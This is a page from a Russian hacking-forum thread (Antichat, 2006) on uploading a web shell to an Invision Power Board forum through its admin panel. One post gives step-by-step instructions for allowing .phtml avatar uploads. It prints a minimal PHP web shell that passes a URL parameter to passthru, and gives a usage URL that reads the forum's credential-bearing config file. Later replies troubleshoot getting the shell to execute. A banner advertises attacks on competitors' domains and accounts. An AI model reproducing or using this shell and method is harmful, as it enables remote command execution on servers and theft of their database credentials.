Cпособы залить шел в Invision через админку?

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Cпособы залить шел в Invision через админку?

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

Та же проблема.

#11

15.06.2006, 11:53

JFKenedi

Новичок

Регистрация: 10.06.2006

Сообщений: 16

С нами: 10483069

Репутация: 7

Та же проблема.

Подобная проблема и у меня, Зливка смайлов запрещена, вообще запрещена.

Сделал расширение php разрешенным для Заливки и для использования в качестве аватара.
Через Mysql тоже не катит ! Аутфайл запрещен.

Что можно сделатЬ, шел залить очень нужно.

пароль От Админки ни чему не подходит...

Эврика !!

#12

15.06.2006, 13:14

JFKenedi

Новичок

Регистрация: 10.06.2006

Сообщений: 16

С нами: 10483069

Репутация: 7

Эврика !!

Нашел вот тему по этому поводу, Кстати на Античате.

Короче так.
Надо лишь поискать по форуму Античата =)

http://forum.antichat.ru/thread11551.html

Написать шелл...
Переименовать в cmd.phtml
На ломаемом форуме расзрешить загрузку файлов с расширением .phtml + разрешить использовать их как Аватары... + добавить строку application/octet-stream
в тип файла.
Проще даже отредактировать существующий тип.

Код:

Например:

.gif  
image/gif
Использовать ак аватар +

Делаем:

.php
application/octet-stream
Использовать ак аватар +

Загрузить как аватар любому пользователю файл с вашим шеллом
cmd.phtml
Содержания примерно:

Код:

<?
echo "<pre>";
passthru("$cmd");
echo "</pre>";
?>

и использовать:
__http://ww.site.ru/forums/uploads/avatar.phtml?cmd=cat ../conf_global.php

Последний раз редактировалось JFKenedi; 15.06.2006 в 13:22..

#13

16.06.2006, 12:25

cc.melfox

Новичок

Регистрация: 14.06.2006

Сообщений: 2

С нами: 10478496

Репутация: 0

проблема с залитым шелом... залил по выше описаному способу шел всё вроде норм но при запуске шела он не запускается, а начинает грузится мне на комп

расширение файла phtml...

#14

16.06.2006, 15:26

qBiN

Постоянный

Регистрация: 20.01.2005

Сообщений: 899

С нами: 11212166

Репутация: 182

просто не сообщил серверу что это пхп скрипт.
поиск рулит.

#15

16.06.2006, 15:48

cc.melfox

Новичок

Регистрация: 14.06.2006

Сообщений: 2

С нами: 10478496

Репутация: 0

ээ а как сообщить?

#16

03.07.2006, 07:35

banall

Познающий

Регистрация: 25.06.2006

Сообщений: 55

С нами: 10462265

Репутация: 0

Цитата:

Сообщение от cc.melfox

ээ а как сообщить?

Вот именно как?
Шелл заливается, но не работает, а выдает только исходник.

Страница 2 из 2

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Как залить shell через админку Vbulletin 3.5.2?	user2006	Уязвимости CMS / форумов	8	06.02.2006 21:24
Как залить шелл в Smf 1.1 Rc2 через админку?	1ten0.0net1	Уязвимости CMS / форумов	4	05.02.2006 11:59
Взлом ipb через админку	fixer2	Уязвимости CMS / форумов	8	11.12.2005 08:22
залить шелл через ipb 2.0.4	alakazam	Уязвимости CMS / форумов	4	16.11.2005 22:08
Как можно залить бэкдор на сервер,если есть доступ в админку форума на Invision Power	Toshik	Уязвимости CMS / форумов	12	12.07.2004 17:43

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход